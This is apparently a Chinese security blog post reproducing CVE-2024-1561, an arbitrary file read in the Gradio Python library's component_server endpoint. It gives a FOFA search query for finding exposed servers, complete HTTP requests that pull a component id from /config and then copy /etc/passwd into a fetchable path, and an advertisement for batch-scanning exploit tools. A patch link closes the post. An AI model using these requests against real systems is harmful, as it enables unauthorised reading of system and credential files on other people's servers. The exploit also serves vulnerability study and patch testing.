Gradio component_server存在任意文件读取漏洞复现(CVE-2024-1561)CVE-2024-1561
Gradio component_server存在任意文件读取漏洞复现(CVE-2024-1561)CVE-2024-1561
南风徐来 南风漏洞复现文库 2024-05-20 23:07
免责声明:请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。
1. Gradio 简介
微信公众号搜索:南风漏洞复现文库 该文章 南风漏洞复现文库 公众号首发
Gradio是一个开源 Python 库
2.漏洞描述
Gradio是一个开源 Python 库,是通过友好的 Web 界面演示机器学习模型的方法。Gradio 存在安全漏洞,该漏洞源于端点不正确地允许调用类上的任何方法,允许未经授权的本地文件读取访问,可能导致敏感信息泄露。
CVE编号:CVE-2024-1561
CNNVD编号:CNNVD-202404-2071
CNVD编号:
3.影响版本
Gradio开源 Python 库
Gradio component_server存在任意文件读取漏洞复现(CVE-2024-1561)
4.fofa查询语句
body=”gradio_mode”
5.漏洞复现
先获取components后面的id值 漏洞数据包:
GET /config HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Host: xxx.xxx.xxx.xx
使用上面获取的id值发包,会返回一个文件
POST /component_server HTTP/1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.3 Safari/605.1.1514.1.3 Ddg/14.1.3
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Host: xxx.xxx.xxx.xxx
Content-Type: application/json
Content-Length: 105
{"component_id": "上面获取的id","data": "/etc/passwd","fn_name": "move_resource_to_block_cache","session_hash": "a"}
读取该文件,实现任意文件读取http://xxx.xxx.xxx.xxx/file=/tmp/gradio/916eb712d668cf14a35adf8179617549780c4070/passwd
6.POC&EXP
本期漏洞及往期漏洞的批量扫描POC及POC工具箱已经上传知识星球:南风网络安全1: 更新poc批量扫描软件,承诺,一周更新8-14个插件吧,我会优先写使用量比较大程序漏洞。2: 免登录,免费fofa查询。3: 更新其他实用网络安全工具项目。
7.整改意见
打补丁:https://github.com/gradio-app/gradio/commit/24a583688046867ca8b8b02959c441818bdb34a2